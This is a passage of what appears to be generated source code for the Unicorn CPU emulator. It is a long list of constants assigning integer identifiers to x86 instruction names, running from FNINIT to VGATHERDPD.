UC_X86_INS_FNINIT = 177 + let UC_X86_INS_FNOP = 178 + let UC_X86_INS_FNSTCW = 179 + let UC_X86_INS_FNSTSW = 180 + let UC_X86_INS_FPATAN = 181 + let UC_X86_INS_FPREM = 182 + let UC_X86_INS_FPREM1 = 183 + let UC_X86_INS_FPTAN = 184 + let UC_X86_INS_FFREEP = 185 + let UC_X86_INS_FRNDINT = 186 + let UC_X86_INS_FRSTOR = 187 + let UC_X86_INS_FNSAVE = 188 + let UC_X86_INS_FSCALE = 189 + let UC_X86_INS_FSETPM = 190 + let UC_X86_INS_FSINCOS = 191 + let UC_X86_INS_FNSTENV = 192 + let UC_X86_INS_FXAM = 193 + let UC_X86_INS_FXRSTOR = 194 + let UC_X86_INS_FXRSTOR64 = 195 + let UC_X86_INS_FXSAVE = 196 + let UC_X86_INS_FXSAVE64 = 197 + let UC_X86_INS_FXTRACT = 198 + let UC_X86_INS_FYL2X = 199 + let UC_X86_INS_FYL2XP1 = 200 + let UC_X86_INS_MOVAPD = 201 + let UC_X86_INS_MOVAPS = 202 + let UC_X86_INS_ORPD = 203 + let UC_X86_INS_ORPS = 204 + let UC_X86_INS_VMOVAPD = 205 + let UC_X86_INS_VMOVAPS = 206 + let UC_X86_INS_XORPD = 207 + let UC_X86_INS_XORPS = 208 + let UC_X86_INS_GETSEC = 209 + let UC_X86_INS_HADDPD = 210 + let UC_X86_INS_HADDPS = 211 + let UC_X86_INS_HLT = 212 + let UC_X86_INS_HSUBPD = 213 + let UC_X86_INS_HSUBPS = 214 + let UC_X86_INS_IDIV = 215 + let UC_X86_INS_FILD = 216 + let UC_X86_INS_IMUL = 217 + let UC_X86_INS_IN = 218 + let UC_X86_INS_INC = 219 + let UC_X86_INS_INSB = 220 + let UC_X86_INS_INSERTPS = 221 + let UC_X86_INS_INSERTQ = 222 + let UC_X86_INS_INSD = 223 + let UC_X86_INS_INSW = 224 + let UC_X86_INS_INT = 225 + let UC_X86_INS_INT1 = 226 + let UC_X86_INS_INT3 = 227 + let UC_X86_INS_INTO = 228 + let UC_X86_INS_INVD = 229 + let UC_X86_INS_INVEPT = 230 + let UC_X86_INS_INVLPG = 231 + let UC_X86_INS_INVLPGA = 232 + let UC_X86_INS_INVPCID = 233 + let UC_X86_INS_INVVPID = 234 + let UC_X86_INS_IRET = 235 + let UC_X86_INS_IRETD = 236 + let UC_X86_INS_IRETQ = 237 + let UC_X86_INS_FISTTP = 238 + let UC_X86_INS_FIST = 239 + let UC_X86_INS_FISTP = 240 + let UC_X86_INS_UCOMISD = 241 + let UC_X86_INS_UCOMISS = 242 + let UC_X86_INS_VCOMISD = 243 + let UC_X86_INS_VCOMISS = 244 + let UC_X86_INS_VCVTSD2SS = 245 + let UC_X86_INS_VCVTSI2SD = 246 + let UC_X86_INS_VCVTSI2SS = 247 + let UC_X86_INS_VCVTSS2SD = 248 + let UC_X86_INS_VCVTTSD2SI = 249 + let UC_X86_INS_VCVTTSD2USI = 250 + let UC_X86_INS_VCVTTSS2SI = 251 + let UC_X86_INS_VCVTTSS2USI = 252 + let UC_X86_INS_VCVTUSI2SD = 253 + let UC_X86_INS_VCVTUSI2SS = 254 + let UC_X86_INS_VUCOMISD = 255 + let UC_X86_INS_VUCOMISS = 256 + let UC_X86_INS_JAE = 257 + let UC_X86_INS_JA = 258 + let UC_X86_INS_JBE = 259 + let UC_X86_INS_JB = 260 + let UC_X86_INS_JCXZ = 261 + let UC_X86_INS_JECXZ = 262 + let UC_X86_INS_JE = 263 + let UC_X86_INS_JGE = 264 + let UC_X86_INS_JG = 265 + let UC_X86_INS_JLE = 266 + let UC_X86_INS_JL = 267 + let UC_X86_INS_JMP = 268 + let UC_X86_INS_JNE = 269 + let UC_X86_INS_JNO = 270 + let UC_X86_INS_JNP = 271 + let UC_X86_INS_JNS = 272 + let UC_X86_INS_JO = 273 + let UC_X86_INS_JP = 274 + let UC_X86_INS_JRCXZ = 275 + let UC_X86_INS_JS = 276 + let UC_X86_INS_KANDB = 277 + let UC_X86_INS_KANDD = 278 + let UC_X86_INS_KANDNB = 279 + let UC_X86_INS_KANDND = 280 + let UC_X86_INS_KANDNQ = 281 + let UC_X86_INS_KANDNW = 282 + let UC_X86_INS_KANDQ = 283 + let UC_X86_INS_KANDW = 284 + let UC_X86_INS_KMOVB = 285 + let UC_X86_INS_KMOVD = 286 + let UC_X86_INS_KMOVQ = 287 + let UC_X86_INS_KMOVW = 288 + let UC_X86_INS_KNOTB = 289 + let UC_X86_INS_KNOTD = 290 + let UC_X86_INS_KNOTQ = 291 + let UC_X86_INS_KNOTW = 292 + let UC_X86_INS_KORB = 293 + let UC_X86_INS_KORD = 294 + let UC_X86_INS_KORQ = 295 + let UC_X86_INS_KORTESTB = 296 + let UC_X86_INS_KORTESTD = 297 + let UC_X86_INS_KORTESTQ = 298 + let UC_X86_INS_KORTESTW = 299 + let UC_X86_INS_KORW = 300 + let UC_X86_INS_KSHIFTLB = 301 + let UC_X86_INS_KSHIFTLD = 302 + let UC_X86_INS_KSHIFTLQ = 303 + let UC_X86_INS_KSHIFTLW = 304 + let UC_X86_INS_KSHIFTRB = 305 + let UC_X86_INS_KSHIFTRD = 306 + let UC_X86_INS_KSHIFTRQ = 307 + let UC_X86_INS_KSHIFTRW = 308 + let UC_X86_INS_KUNPCKBW = 309 + let UC_X86_INS_KXNORB = 310 + let UC_X86_INS_KXNORD = 311 + let UC_X86_INS_KXNORQ = 312 + let UC_X86_INS_KXNORW = 313 + let UC_X86_INS_KXORB = 314 + let UC_X86_INS_KXORD = 315 + let UC_X86_INS_KXORQ = 316 + let UC_X86_INS_KXORW = 317 + let UC_X86_INS_LAHF = 318 + let UC_X86_INS_LAR = 319 + let UC_X86_INS_LDDQU = 320 + let UC_X86_INS_LDMXCSR = 321 + let UC_X86_INS_LDS = 322 + let UC_X86_INS_FLDZ = 323 + let UC_X86_INS_FLD1 = 324 + let UC_X86_INS_FLD = 325 + let UC_X86_INS_LEA = 326 + let UC_X86_INS_LEAVE = 327 + let UC_X86_INS_LES = 328 + let UC_X86_INS_LFENCE = 329 + let UC_X86_INS_LFS = 330 + let UC_X86_INS_LGDT = 331 + let UC_X86_INS_LGS = 332 + let UC_X86_INS_LIDT = 333 + let UC_X86_INS_LLDT = 334 + let UC_X86_INS_LMSW = 335 + let UC_X86_INS_OR = 336 + let UC_X86_INS_SUB = 337 + let UC_X86_INS_XOR = 338 + let UC_X86_INS_LODSB = 339 + let UC_X86_INS_LODSD = 340 + let UC_X86_INS_LODSQ = 341 + let UC_X86_INS_LODSW = 342 + let UC_X86_INS_LOOP = 343 + let UC_X86_INS_LOOPE = 344 + let UC_X86_INS_LOOPNE = 345 + let UC_X86_INS_RETF = 346 + let UC_X86_INS_RETFQ = 347 + let UC_X86_INS_LSL = 348 + let UC_X86_INS_LSS = 349 + let UC_X86_INS_LTR = 350 + let UC_X86_INS_XADD = 351 + let UC_X86_INS_LZCNT = 352 + let UC_X86_INS_MASKMOVDQU = 353 + let UC_X86_INS_MAXPD = 354 + let UC_X86_INS_MAXPS = 355 + let UC_X86_INS_MAXSD = 356 + let UC_X86_INS_MAXSS = 357 + let UC_X86_INS_MFENCE = 358 + let UC_X86_INS_MINPD = 359 + let UC_X86_INS_MINPS = 360 + let UC_X86_INS_MINSD = 361 + let UC_X86_INS_MINSS = 362 + let UC_X86_INS_CVTPD2PI = 363 + let UC_X86_INS_CVTPI2PD = 364 + let UC_X86_INS_CVTPI2PS = 365 + let UC_X86_INS_CVTPS2PI = 366 + let UC_X86_INS_CVTTPD2PI = 367 + let UC_X86_INS_CVTTPS2PI = 368 + let UC_X86_INS_EMMS = 369 + let UC_X86_INS_MASKMOVQ = 370 + let UC_X86_INS_MOVD = 371 + let UC_X86_INS_MOVDQ2Q = 372 + let UC_X86_INS_MOVNTQ = 373 + let UC_X86_INS_MOVQ2DQ = 374 + let UC_X86_INS_MOVQ = 375 + let UC_X86_INS_PABSB = 376 + let UC_X86_INS_PABSD = 377 + let UC_X86_INS_PABSW = 378 + let UC_X86_INS_PACKSSDW = 379 + let UC_X86_INS_PACKSSWB = 380 + let UC_X86_INS_PACKUSWB = 381 + let UC_X86_INS_PADDB = 382 + let UC_X86_INS_PADDD = 383 + let UC_X86_INS_PADDQ = 384 + let UC_X86_INS_PADDSB = 385 + let UC_X86_INS_PADDSW = 386 + let UC_X86_INS_PADDUSB = 387 + let UC_X86_INS_PADDUSW = 388 + let UC_X86_INS_PADDW = 389 + let UC_X86_INS_PALIGNR = 390 + let UC_X86_INS_PANDN = 391 + let UC_X86_INS_PAND = 392 + let UC_X86_INS_PAVGB = 393 + let UC_X86_INS_PAVGW = 394 + let UC_X86_INS_PCMPEQB = 395 + let UC_X86_INS_PCMPEQD = 396 + let UC_X86_INS_PCMPEQW = 397 + let UC_X86_INS_PCMPGTB = 398 + let UC_X86_INS_PCMPGTD = 399 + let UC_X86_INS_PCMPGTW = 400 + let UC_X86_INS_PEXTRW = 401 + let UC_X86_INS_PHADDSW = 402 + let UC_X86_INS_PHADDW = 403 + let UC_X86_INS_PHADDD = 404 + let UC_X86_INS_PHSUBD = 405 + let UC_X86_INS_PHSUBSW = 406 + let UC_X86_INS_PHSUBW = 407 + let UC_X86_INS_PINSRW = 408 + let UC_X86_INS_PMADDUBSW = 409 + let UC_X86_INS_PMADDWD = 410 + let UC_X86_INS_PMAXSW = 411 + let UC_X86_INS_PMAXUB = 412 + let UC_X86_INS_PMINSW = 413 + let UC_X86_INS_PMINUB = 414 + let UC_X86_INS_PMOVMSKB = 415 + let UC_X86_INS_PMULHRSW = 416 + let UC_X86_INS_PMULHUW = 417 + let UC_X86_INS_PMULHW = 418 + let UC_X86_INS_PMULLW = 419 + let UC_X86_INS_PMULUDQ = 420 + let UC_X86_INS_POR = 421 + let UC_X86_INS_PSADBW = 422 + let UC_X86_INS_PSHUFB = 423 + let UC_X86_INS_PSHUFW = 424 + let UC_X86_INS_PSIGNB = 425 + let UC_X86_INS_PSIGND = 426 + let UC_X86_INS_PSIGNW = 427 + let UC_X86_INS_PSLLD = 428 + let UC_X86_INS_PSLLQ = 429 + let UC_X86_INS_PSLLW = 430 + let UC_X86_INS_PSRAD = 431 + let UC_X86_INS_PSRAW = 432 + let UC_X86_INS_PSRLD = 433 + let UC_X86_INS_PSRLQ = 434 + let UC_X86_INS_PSRLW = 435 + let UC_X86_INS_PSUBB = 436 + let UC_X86_INS_PSUBD = 437 + let UC_X86_INS_PSUBQ = 438 + let UC_X86_INS_PSUBSB = 439 + let UC_X86_INS_PSUBSW = 440 + let UC_X86_INS_PSUBUSB = 441 + let UC_X86_INS_PSUBUSW = 442 + let UC_X86_INS_PSUBW = 443 + let UC_X86_INS_PUNPCKHBW = 444 + let UC_X86_INS_PUNPCKHDQ = 445 + let UC_X86_INS_PUNPCKHWD = 446 + let UC_X86_INS_PUNPCKLBW = 447 + let UC_X86_INS_PUNPCKLDQ = 448 + let UC_X86_INS_PUNPCKLWD = 449 + let UC_X86_INS_PXOR = 450 + let UC_X86_INS_MONITOR = 451 + let UC_X86_INS_MONTMUL = 452 + let UC_X86_INS_MOV = 453 + let UC_X86_INS_MOVABS = 454 + let UC_X86_INS_MOVBE = 455 + let UC_X86_INS_MOVDDUP = 456 + let UC_X86_INS_MOVDQA = 457 + let UC_X86_INS_MOVDQU = 458 + let UC_X86_INS_MOVHLPS = 459 + let UC_X86_INS_MOVHPD = 460 + let UC_X86_INS_MOVHPS = 461 + let UC_X86_INS_MOVLHPS = 462 + let UC_X86_INS_MOVLPD = 463 + let UC_X86_INS_MOVLPS = 464 + let UC_X86_INS_MOVMSKPD = 465 + let UC_X86_INS_MOVMSKPS = 466 + let UC_X86_INS_MOVNTDQA = 467 + let UC_X86_INS_MOVNTDQ = 468 + let UC_X86_INS_MOVNTI = 469 + let UC_X86_INS_MOVNTPD = 470 + let UC_X86_INS_MOVNTPS = 471 + let UC_X86_INS_MOVNTSD = 472 + let UC_X86_INS_MOVNTSS = 473 + let UC_X86_INS_MOVSB = 474 + let UC_X86_INS_MOVSD = 475 + let UC_X86_INS_MOVSHDUP = 476 + let UC_X86_INS_MOVSLDUP = 477 + let UC_X86_INS_MOVSQ = 478 + let UC_X86_INS_MOVSS = 479 + let UC_X86_INS_MOVSW = 480 + let UC_X86_INS_MOVSX = 481 + let UC_X86_INS_MOVSXD = 482 + let UC_X86_INS_MOVUPD = 483 + let UC_X86_INS_MOVUPS = 484 + let UC_X86_INS_MOVZX = 485 + let UC_X86_INS_MPSADBW = 486 + let UC_X86_INS_MUL = 487 + let UC_X86_INS_MULPD = 488 + let UC_X86_INS_MULPS = 489 + let UC_X86_INS_MULSD = 490 + let UC_X86_INS_MULSS = 491 + let UC_X86_INS_MULX = 492 + let UC_X86_INS_FMUL = 493 + let UC_X86_INS_FIMUL = 494 + let UC_X86_INS_FMULP = 495 + let UC_X86_INS_MWAIT = 496 + let UC_X86_INS_NEG = 497 + let UC_X86_INS_NOP = 498 + let UC_X86_INS_NOT = 499 + let UC_X86_INS_OUT = 500 + let UC_X86_INS_OUTSB = 501 + let UC_X86_INS_OUTSD = 502 + let UC_X86_INS_OUTSW = 503 + let UC_X86_INS_PACKUSDW = 504 + let UC_X86_INS_PAUSE = 505 + let UC_X86_INS_PAVGUSB = 506 + let UC_X86_INS_PBLENDVB = 507 + let UC_X86_INS_PBLENDW = 508 + let UC_X86_INS_PCLMULQDQ = 509 + let UC_X86_INS_PCMPEQQ = 510 + let UC_X86_INS_PCMPESTRI = 511 + let UC_X86_INS_PCMPESTRM = 512 + let UC_X86_INS_PCMPGTQ = 513 + let UC_X86_INS_PCMPISTRI = 514 + let UC_X86_INS_PCMPISTRM = 515 + let UC_X86_INS_PCOMMIT = 516 + let UC_X86_INS_PDEP = 517 + let UC_X86_INS_PEXT = 518 + let UC_X86_INS_PEXTRB = 519 + let UC_X86_INS_PEXTRD = 520 + let UC_X86_INS_PEXTRQ = 521 + let UC_X86_INS_PF2ID = 522 + let UC_X86_INS_PF2IW = 523 + let UC_X86_INS_PFACC = 524 + let UC_X86_INS_PFADD = 525 + let UC_X86_INS_PFCMPEQ = 526 + let UC_X86_INS_PFCMPGE = 527 + let UC_X86_INS_PFCMPGT = 528 + let UC_X86_INS_PFMAX = 529 + let UC_X86_INS_PFMIN = 530 + let UC_X86_INS_PFMUL = 531 + let UC_X86_INS_PFNACC = 532 + let UC_X86_INS_PFPNACC = 533 + let UC_X86_INS_PFRCPIT1 = 534 + let UC_X86_INS_PFRCPIT2 = 535 + let UC_X86_INS_PFRCP = 536 + let UC_X86_INS_PFRSQIT1 = 537 + let UC_X86_INS_PFRSQRT = 538 + let UC_X86_INS_PFSUBR = 539 + let UC_X86_INS_PFSUB = 540 + let UC_X86_INS_PHMINPOSUW = 541 + let UC_X86_INS_PI2FD = 542 + let UC_X86_INS_PI2FW = 543 + let UC_X86_INS_PINSRB = 544 + let UC_X86_INS_PINSRD = 545 + let UC_X86_INS_PINSRQ = 546 + let UC_X86_INS_PMAXSB = 547 + let UC_X86_INS_PMAXSD = 548 + let UC_X86_INS_PMAXUD = 549 + let UC_X86_INS_PMAXUW = 550 + let UC_X86_INS_PMINSB = 551 + let UC_X86_INS_PMINSD = 552 + let UC_X86_INS_PMINUD = 553 + let UC_X86_INS_PMINUW = 554 + let UC_X86_INS_PMOVSXBD = 555 + let UC_X86_INS_PMOVSXBQ = 556 + let UC_X86_INS_PMOVSXBW = 557 + let UC_X86_INS_PMOVSXDQ = 558 + let UC_X86_INS_PMOVSXWD = 559 + let UC_X86_INS_PMOVSXWQ = 560 + let UC_X86_INS_PMOVZXBD = 561 + let UC_X86_INS_PMOVZXBQ = 562 + let UC_X86_INS_PMOVZXBW = 563 + let UC_X86_INS_PMOVZXDQ = 564 + let UC_X86_INS_PMOVZXWD = 565 + let UC_X86_INS_PMOVZXWQ = 566 + let UC_X86_INS_PMULDQ = 567 + let UC_X86_INS_PMULHRW = 568 + let UC_X86_INS_PMULLD = 569 + let UC_X86_INS_POP = 570 + let UC_X86_INS_POPAW = 571 + let UC_X86_INS_POPAL = 572 + let UC_X86_INS_POPCNT = 573 + let UC_X86_INS_POPF = 574 + let UC_X86_INS_POPFD = 575 + let UC_X86_INS_POPFQ = 576 + let UC_X86_INS_PREFETCH = 577 + let UC_X86_INS_PREFETCHNTA = 578 + let UC_X86_INS_PREFETCHT0 = 579 + let UC_X86_INS_PREFETCHT1 = 580 + let UC_X86_INS_PREFETCHT2 = 581 + let UC_X86_INS_PREFETCHW = 582 + let UC_X86_INS_PSHUFD = 583 + let UC_X86_INS_PSHUFHW = 584 + let UC_X86_INS_PSHUFLW = 585 + let UC_X86_INS_PSLLDQ = 586 + let UC_X86_INS_PSRLDQ = 587 + let UC_X86_INS_PSWAPD = 588 + let UC_X86_INS_PTEST = 589 + let UC_X86_INS_PUNPCKHQDQ = 590 + let UC_X86_INS_PUNPCKLQDQ = 591 + let UC_X86_INS_PUSH = 592 + let UC_X86_INS_PUSHAW = 593 + let UC_X86_INS_PUSHAL = 594 + let UC_X86_INS_PUSHF = 595 + let UC_X86_INS_PUSHFD = 596 + let UC_X86_INS_PUSHFQ = 597 + let UC_X86_INS_RCL = 598 + let UC_X86_INS_RCPPS = 599 + let UC_X86_INS_RCPSS = 600 + let UC_X86_INS_RCR = 601 + let UC_X86_INS_RDFSBASE = 602 + let UC_X86_INS_RDGSBASE = 603 + let UC_X86_INS_RDMSR = 604 + let UC_X86_INS_RDPMC = 605 + let UC_X86_INS_RDRAND = 606 + let UC_X86_INS_RDSEED = 607 + let UC_X86_INS_RDTSC = 608 + let UC_X86_INS_RDTSCP = 609 + let UC_X86_INS_ROL = 610 + let UC_X86_INS_ROR = 611 + let UC_X86_INS_RORX = 612 + let UC_X86_INS_ROUNDPD = 613 + let UC_X86_INS_ROUNDPS = 614 + let UC_X86_INS_ROUNDSD = 615 + let UC_X86_INS_ROUNDSS = 616 + let UC_X86_INS_RSM = 617 + let UC_X86_INS_RSQRTPS = 618 + let UC_X86_INS_RSQRTSS = 619 + let UC_X86_INS_SAHF = 620 + let UC_X86_INS_SAL = 621 + let UC_X86_INS_SALC = 622 + let UC_X86_INS_SAR = 623 + let UC_X86_INS_SARX = 624 + let UC_X86_INS_SBB = 625 + let UC_X86_INS_SCASB = 626 + let UC_X86_INS_SCASD = 627 + let UC_X86_INS_SCASQ = 628 + let UC_X86_INS_SCASW = 629 + let UC_X86_INS_SETAE = 630 + let UC_X86_INS_SETA = 631 + let UC_X86_INS_SETBE = 632 + let UC_X86_INS_SETB = 633 + let UC_X86_INS_SETE = 634 + let UC_X86_INS_SETGE = 635 + let UC_X86_INS_SETG = 636 + let UC_X86_INS_SETLE = 637 + let UC_X86_INS_SETL = 638 + let UC_X86_INS_SETNE = 639 + let UC_X86_INS_SETNO = 640 + let UC_X86_INS_SETNP = 641 + let UC_X86_INS_SETNS = 642 + let UC_X86_INS_SETO = 643 + let UC_X86_INS_SETP = 644 + let UC_X86_INS_SETS = 645 + let UC_X86_INS_SFENCE = 646 + let UC_X86_INS_SGDT = 647 + let UC_X86_INS_SHA1MSG1 = 648 + let UC_X86_INS_SHA1MSG2 = 649 + let UC_X86_INS_SHA1NEXTE = 650 + let UC_X86_INS_SHA1RNDS4 = 651 + let UC_X86_INS_SHA256MSG1 = 652 + let UC_X86_INS_SHA256MSG2 = 653 + let UC_X86_INS_SHA256RNDS2 = 654 + let UC_X86_INS_SHL = 655 + let UC_X86_INS_SHLD = 656 + let UC_X86_INS_SHLX = 657 + let UC_X86_INS_SHR = 658 + let UC_X86_INS_SHRD = 659 + let UC_X86_INS_SHRX = 660 + let UC_X86_INS_SHUFPD = 661 + let UC_X86_INS_SHUFPS = 662 + let UC_X86_INS_SIDT = 663 + let UC_X86_INS_FSIN = 664 + let UC_X86_INS_SKINIT = 665 + let UC_X86_INS_SLDT = 666 + let UC_X86_INS_SMSW = 667 + let UC_X86_INS_SQRTPD = 668 + let UC_X86_INS_SQRTPS = 669 + let UC_X86_INS_SQRTSD = 670 + let UC_X86_INS_SQRTSS = 671 + let UC_X86_INS_FSQRT = 672 + let UC_X86_INS_STAC = 673 + let UC_X86_INS_STC = 674 + let UC_X86_INS_STD = 675 + let UC_X86_INS_STGI = 676 + let UC_X86_INS_STI = 677 + let UC_X86_INS_STMXCSR = 678 + let UC_X86_INS_STOSB = 679 + let UC_X86_INS_STOSD = 680 + let UC_X86_INS_STOSQ = 681 + let UC_X86_INS_STOSW = 682 + let UC_X86_INS_STR = 683 + let UC_X86_INS_FST = 684 + let UC_X86_INS_FSTP = 685 + let UC_X86_INS_FSTPNCE = 686 + let UC_X86_INS_FXCH = 687 + let UC_X86_INS_SUBPD = 688 + let UC_X86_INS_SUBPS = 689 + let UC_X86_INS_FSUBR = 690 + let UC_X86_INS_FISUBR = 691 + let UC_X86_INS_FSUBRP = 692 + let UC_X86_INS_SUBSD = 693 + let UC_X86_INS_SUBSS = 694 + let UC_X86_INS_FSUB = 695 + let UC_X86_INS_FISUB = 696 + let UC_X86_INS_FSUBP = 697 + let UC_X86_INS_SWAPGS = 698 + let UC_X86_INS_SYSCALL = 699 + let UC_X86_INS_SYSENTER = 700 + let UC_X86_INS_SYSEXIT = 701 + let UC_X86_INS_SYSRET = 702 + let UC_X86_INS_T1MSKC = 703 + let UC_X86_INS_TEST = 704 + let UC_X86_INS_UD2 = 705 + let UC_X86_INS_FTST = 706 + let UC_X86_INS_TZCNT = 707 + let UC_X86_INS_TZMSK = 708 + let UC_X86_INS_FUCOMPI = 709 + let UC_X86_INS_FUCOMI = 710 + let UC_X86_INS_FUCOMPP = 711 + let UC_X86_INS_FUCOMP = 712 + let UC_X86_INS_FUCOM = 713 + let UC_X86_INS_UD2B = 714 + let UC_X86_INS_UNPCKHPD = 715 + let UC_X86_INS_UNPCKHPS = 716 + let UC_X86_INS_UNPCKLPD = 717 + let UC_X86_INS_UNPCKLPS = 718 + let UC_X86_INS_VADDPD = 719 + let UC_X86_INS_VADDPS = 720 + let UC_X86_INS_VADDSD = 721 + let UC_X86_INS_VADDSS = 722 + let UC_X86_INS_VADDSUBPD = 723 + let UC_X86_INS_VADDSUBPS = 724 + let UC_X86_INS_VAESDECLAST = 725 + let UC_X86_INS_VAESDEC = 726 + let UC_X86_INS_VAESENCLAST = 727 + let UC_X86_INS_VAESENC = 728 + let UC_X86_INS_VAESIMC = 729 + let UC_X86_INS_VAESKEYGENASSIST = 730 + let UC_X86_INS_VALIGND = 731 + let UC_X86_INS_VALIGNQ = 732 + let UC_X86_INS_VANDNPD = 733 + let UC_X86_INS_VANDNPS = 734 + let UC_X86_INS_VANDPD = 735 + let UC_X86_INS_VANDPS = 736 + let UC_X86_INS_VBLENDMPD = 737 + let UC_X86_INS_VBLENDMPS = 738 + let UC_X86_INS_VBLENDPD = 739 + let UC_X86_INS_VBLENDPS = 740 + let UC_X86_INS_VBLENDVPD = 741 + let UC_X86_INS_VBLENDVPS = 742 + let UC_X86_INS_VBROADCASTF128 = 743 + let UC_X86_INS_VBROADCASTI32X4 = 744 + let UC_X86_INS_VBROADCASTI64X4 = 745 + let UC_X86_INS_VBROADCASTSD = 746 + let UC_X86_INS_VBROADCASTSS = 747 + let UC_X86_INS_VCMPPD = 748 + let UC_X86_INS_VCMPPS = 749 + let UC_X86_INS_VCMPSD = 750 + let UC_X86_INS_VCMPSS = 751 + let UC_X86_INS_VCOMPRESSPD = 752 + let UC_X86_INS_VCOMPRESSPS = 753 + let UC_X86_INS_VCVTDQ2PD = 754 + let UC_X86_INS_VCVTDQ2PS = 755 + let UC_X86_INS_VCVTPD2DQX = 756 + let UC_X86_INS_VCVTPD2DQ = 757 + let UC_X86_INS_VCVTPD2PSX = 758 + let UC_X86_INS_VCVTPD2PS = 759 + let UC_X86_INS_VCVTPD2UDQ = 760 + let UC_X86_INS_VCVTPH2PS = 761 + let UC_X86_INS_VCVTPS2DQ = 762 + let UC_X86_INS_VCVTPS2PD = 763 + let UC_X86_INS_VCVTPS2PH = 764 + let UC_X86_INS_VCVTPS2UDQ = 765 + let UC_X86_INS_VCVTSD2SI = 766 + let UC_X86_INS_VCVTSD2USI = 767 + let UC_X86_INS_VCVTSS2SI = 768 + let UC_X86_INS_VCVTSS2USI = 769 + let UC_X86_INS_VCVTTPD2DQX = 770 + let UC_X86_INS_VCVTTPD2DQ = 771 + let UC_X86_INS_VCVTTPD2UDQ = 772 + let UC_X86_INS_VCVTTPS2DQ = 773 + let UC_X86_INS_VCVTTPS2UDQ = 774 + let UC_X86_INS_VCVTUDQ2PD = 775 + let UC_X86_INS_VCVTUDQ2PS = 776 + let UC_X86_INS_VDIVPD = 777 + let UC_X86_INS_VDIVPS = 778 + let UC_X86_INS_VDIVSD = 779 + let UC_X86_INS_VDIVSS = 780 + let UC_X86_INS_VDPPD = 781 + let UC_X86_INS_VDPPS = 782 + let UC_X86_INS_VERR = 783 + let UC_X86_INS_VERW = 784 + let UC_X86_INS_VEXP2PD = 785 + let UC_X86_INS_VEXP2PS = 786 + let UC_X86_INS_VEXPANDPD = 787 + let UC_X86_INS_VEXPANDPS = 788 + let UC_X86_INS_VEXTRACTF128 = 789 + let UC_X86_INS_VEXTRACTF32X4 = 790 + let UC_X86_INS_VEXTRACTF64X4 = 791 + let UC_X86_INS_VEXTRACTI128 = 792 + let UC_X86_INS_VEXTRACTI32X4 = 793 + let UC_X86_INS_VEXTRACTI64X4 = 794 + let UC_X86_INS_VEXTRACTPS = 795 + let UC_X86_INS_VFMADD132PD = 796 + let UC_X86_INS_VFMADD132PS = 797 + let UC_X86_INS_VFMADDPD = 798 + let UC_X86_INS_VFMADD213PD = 799 + let UC_X86_INS_VFMADD231PD = 800 + let UC_X86_INS_VFMADDPS = 801 + let UC_X86_INS_VFMADD213PS = 802 + let UC_X86_INS_VFMADD231PS = 803 + let UC_X86_INS_VFMADDSD = 804 + let UC_X86_INS_VFMADD213SD = 805 + let UC_X86_INS_VFMADD132SD = 806 + let UC_X86_INS_VFMADD231SD = 807 + let UC_X86_INS_VFMADDSS = 808 + let UC_X86_INS_VFMADD213SS = 809 + let UC_X86_INS_VFMADD132SS = 810 + let UC_X86_INS_VFMADD231SS = 811 + let UC_X86_INS_VFMADDSUB132PD = 812 + let UC_X86_INS_VFMADDSUB132PS = 813 + let UC_X86_INS_VFMADDSUBPD = 814 + let UC_X86_INS_VFMADDSUB213PD = 815 + let UC_X86_INS_VFMADDSUB231PD = 816 + let UC_X86_INS_VFMADDSUBPS = 817 + let UC_X86_INS_VFMADDSUB213PS = 818 + let UC_X86_INS_VFMADDSUB231PS = 819 + let UC_X86_INS_VFMSUB132PD = 820 + let UC_X86_INS_VFMSUB132PS = 821 + let UC_X86_INS_VFMSUBADD132PD = 822 + let UC_X86_INS_VFMSUBADD132PS = 823 + let UC_X86_INS_VFMSUBADDPD = 824 + let UC_X86_INS_VFMSUBADD213PD = 825 + let UC_X86_INS_VFMSUBADD231PD = 826 + let UC_X86_INS_VFMSUBADDPS = 827 + let UC_X86_INS_VFMSUBADD213PS = 828 + let UC_X86_INS_VFMSUBADD231PS = 829 + let UC_X86_INS_VFMSUBPD = 830 + let UC_X86_INS_VFMSUB213PD = 831 + let UC_X86_INS_VFMSUB231PD = 832 + let UC_X86_INS_VFMSUBPS = 833 + let UC_X86_INS_VFMSUB213PS = 834 + let UC_X86_INS_VFMSUB231PS = 835 + let UC_X86_INS_VFMSUBSD = 836 + let UC_X86_INS_VFMSUB213SD = 837 + let UC_X86_INS_VFMSUB132SD = 838 + let UC_X86_INS_VFMSUB231SD = 839 + let UC_X86_INS_VFMSUBSS = 840 + let UC_X86_INS_VFMSUB213SS = 841 + let UC_X86_INS_VFMSUB132SS = 842 + let UC_X86_INS_VFMSUB231SS = 843 + let UC_X86_INS_VFNMADD132PD = 844 + let UC_X86_INS_VFNMADD132PS = 845 + let UC_X86_INS_VFNMADDPD = 846 + let UC_X86_INS_VFNMADD213PD = 847 + let UC_X86_INS_VFNMADD231PD = 848 + let UC_X86_INS_VFNMADDPS = 849 + let UC_X86_INS_VFNMADD213PS = 850 + let UC_X86_INS_VFNMADD231PS = 851 + let UC_X86_INS_VFNMADDSD = 852 + let UC_X86_INS_VFNMADD213SD = 853 + let UC_X86_INS_VFNMADD132SD = 854 + let UC_X86_INS_VFNMADD231SD = 855 + let UC_X86_INS_VFNMADDSS = 856 + let UC_X86_INS_VFNMADD213SS = 857 + let UC_X86_INS_VFNMADD132SS = 858 + let UC_X86_INS_VFNMADD231SS = 859 + let UC_X86_INS_VFNMSUB132PD = 860 + let UC_X86_INS_VFNMSUB132PS = 861 + let UC_X86_INS_VFNMSUBPD = 862 + let UC_X86_INS_VFNMSUB213PD = 863 + let UC_X86_INS_VFNMSUB231PD = 864 + let UC_X86_INS_VFNMSUBPS = 865 + let UC_X86_INS_VFNMSUB213PS = 866 + let UC_X86_INS_VFNMSUB231PS = 867 + let UC_X86_INS_VFNMSUBSD = 868 + let UC_X86_INS_VFNMSUB213SD = 869 + let UC_X86_INS_VFNMSUB132SD = 870 + let UC_X86_INS_VFNMSUB231SD = 871 + let UC_X86_INS_VFNMSUBSS = 872 + let UC_X86_INS_VFNMSUB213SS = 873 + let UC_X86_INS_VFNMSUB132SS = 874 + let UC_X86_INS_VFNMSUB231SS = 875 + let UC_X86_INS_VFRCZPD = 876 + let UC_X86_INS_VFRCZPS = 877 + let UC_X86_INS_VFRCZSD = 878 + let UC_X86_INS_VFRCZSS = 879 + let UC_X86_INS_VORPD = 880 + let UC_X86_INS_VORPS = 881 + let UC_X86_INS_VXORPD = 882 + let UC_X86_INS_VXORPS = 883 + let UC_X86_INS_VGATHERDPD = 884 + let 